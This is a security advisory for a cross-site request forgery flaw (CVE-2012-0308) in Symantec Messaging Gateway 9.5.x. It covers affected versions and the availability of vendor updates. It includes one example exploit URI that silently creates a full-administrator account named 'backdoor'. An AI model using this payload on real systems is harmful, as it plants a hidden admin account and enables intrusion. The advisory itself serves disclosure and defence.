Symantec Messaging Gateway CVE-2012-0308 Cross Site Request Forgery Vulnerability

Bugtraq ID:	55137
Class:	Design Error
CVE:	CVE-2012-0308
Remote:	Yes
Local:	No
Published:	Aug 27 2012 12:00AM
Updated:	Dec 03 2012 07:40AM
Credit:	Ben Williams
Vulnerable:	Symantec Messaging Gateway 9.5.1 Symantec Messaging Gateway 9.5
Not Vulnerable:

Symantec Messaging Gateway CVE-2012-0308 Cross Site Request Forgery Vulnerability

Symantec Messaging Gateway is prone to a cross-site request-forgery vulnerability

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible.

Symantec Messaging Gateway 9.5.x versions are vulnerable.

Symantec Messaging Gateway CVE-2012-0308 Cross Site Request Forgery Vulnerability

To exploit this issue, an attacker must entice an unsuspecting victim to open a malicious URI.

The following example URI is available:

http://www.example.com/brightmail/admin/administrator/save.do?pageReuseFor=add&id=0&userName=backdoor&passwd=muhaha3&confirmPassword=muhaha3&fullAdminRole=true&statusRole=true

Symantec Messaging Gateway CVE-2012-0308 Cross Site Request Forgery Vulnerability

Solution:
Vendor updates are available. Please see the reference for more details.

Symantec Messaging Gateway CVE-2012-0308 Cross Site Request Forgery Vulnerability

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